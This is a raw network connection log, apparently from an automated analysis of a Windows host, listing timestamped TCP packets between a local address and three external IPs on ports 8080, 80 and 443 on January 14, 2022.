Jan 14, 2022 12:29:27.285943985 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.285964966 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.285981894 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.286021948 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.286063910 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.286092043 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.286107063 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.286122084 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.286181927 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.286309004 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.419289112 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.419358969 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.419409990 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.419462919 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.419512987 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.419545889 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.419573069 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.419603109 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.420311928 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.420317888 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.420380116 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.420430899 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.420439005 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.420492887 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.420555115 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.420607090 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.420666933 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.420713902 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.420718908 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.420725107 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.420770884 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.420775890 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.420825005 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.420886040 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.420897007 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.420937061 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.420989990 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.420994043 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.421047926 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.421096087 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.421103001 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.421147108 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.421202898 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.421204090 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.421252966 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.421302080 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.421350956 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.421401978 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.421406984 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.421416044 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.421461105 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.421511889 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.421546936 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.421567917 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.421626091 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.421644926 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.421675920 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.421729088 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.421742916 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.421791077 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.421840906 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.421848059 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.421926022 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.422002077 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.422399044 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.422452927 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.422502995 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.422514915 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.422563076 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.422615051 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.422660112 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.422665119 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.422722101 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.422751904 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.422774076 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.422823906 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.422872066 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.422872066 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.422921896 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.422976971 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.422976971 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.423245907 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.555437088 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.555470943 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.555491924 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.555540085 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.555623055 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.555670023 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.557327986 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.557357073 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.557379961 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.557400942 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.557419062 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.557512045 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.557584047 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.557588100 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.557605982 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.557631016 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.557663918 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.557679892 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.557815075 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.557840109 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.557874918 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.557894945 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.557977915 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.557988882 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.557990074 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.558012009 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.558077097 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.558077097 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.558099031 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.558119059 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.558139086 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.558144093 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.558193922 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.558218002 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.558264971 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.558295012 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.558312893 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.558324099 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.558372021 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:29.135986090 CET	49807	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:29.153743029 CET	80	49807	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:29.153875113 CET	49807	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:29.153980017 CET	49807	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:29.154038906 CET	49807	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:29.171392918 CET	80	49807	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:29.272588015 CET	80	49807	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:29.272705078 CET	49807	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:29.272866964 CET	49807	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:29.290102959 CET	80	49807	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:29.312971115 CET	49808	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:29.330281973 CET	80	49808	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:29.330595970 CET	49808	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:29.330621958 CET	49808	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:29.330629110 CET	49808	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:29.348041058 CET	80	49808	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:29.451596975 CET	80	49808	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:29.451710939 CET	49808	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:29.451889992 CET	49808	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:29.469244003 CET	80	49808	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:29.491075039 CET	49809	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:29.508693933 CET	80	49809	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:29.508807898 CET	49809	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:29.508925915 CET	49809	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:29.508944988 CET	49809	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:29.526274920 CET	80	49809	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:29.648915052 CET	80	49809	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:29.648967981 CET	80	49809	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:29.649025917 CET	49809	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:29.649194956 CET	49809	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:29.666403055 CET	80	49809	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:29.678674936 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.678719997 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.678807020 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.679641962 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.679692984 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.732096910 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.732244015 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.734498024 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.734519005 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.734909058 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.736268044 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.777875900 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.824256897 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.824362040 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.824403048 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.824436903 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.824454069 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.824474096 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.824490070 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.824491024 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.824529886 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.824543953 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.824599981 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.824640989 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.824655056 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.824665070 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.824707031 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.824709892 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.824726105 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.824775934 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.824784994 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.824798107 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.824841976 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.824843884 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.824856997 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.824909925 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.824914932 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.824927092 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.824980021 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.824985027 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.824997902 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.825052023 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.825056076 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.825067997 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.825122118 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.825122118 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.825134039 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.825191021 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.825191975 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.825206995 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.825283051 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.825294971 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.825309038 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.825345993 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.825366020 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.825375080 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.825412989 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.825427055 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.825438976 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.825478077 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.825488091 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.825499058 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.825542927 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.825547934 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.825556993 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.825604916 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.825606108 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.825620890 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.825665951 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.825690985 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.825735092 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.825777054 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.825784922 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.825798988 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.825823069 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.825845003 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.825869083 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.825877905 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.839229107 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.839349985 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.839375973 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.839432955 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.841212034 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.841264963 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.841327906 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.841347933 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.841392994 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.841547966 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.841605902 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.841619968 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.841664076 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.841666937 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.841677904 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.841702938 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.842240095 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.842293024 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.842302084 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.842315912 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.842354059 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.842365980 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.842416048 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.842428923 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.842469931 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.842474937 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.842483997 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.842510939 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.842530012 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.856239080 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.856300116 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.856342077 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.856384039 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.856384039 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.856415033 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.856432915 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.856437922 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.856484890 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.856494904 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.860790014 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.860867977 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.860882044 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.860898972 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.860939980 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.860949039 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.860963106 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.860992908 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.861013889 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.861015081 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.861028910 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.861062050 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.861079931 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.861121893 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.861125946 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.861139059 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.861180067 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.861181974 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.861192942 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.861223936 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.861242056 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.861254930 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.861265898 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.861285925 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.861300945 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.861357927 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.861365080 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.861411095 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.874147892 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.874241114 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.874286890 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.874313116 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.874330044 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.874357939 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.877926111 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.877995014 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.878000021 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.878019094 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.878042936 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.878051996 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.878089905 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.878091097 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.878106117 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.878128052 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.878151894 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.878156900 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.878171921 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.878200054 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.878218889 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.878261089 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.878268957 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.878287077 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.878305912 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.878315926 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.878336906 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.878336906 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.878390074 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.878395081 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.878408909 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.878444910 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.878451109 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.878499985 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.878504038 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.878515959 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.878550053 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.878602028 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.878652096 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.878695965 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.878721952 CET	443	49810	162.159.135.233	192.168.2.4
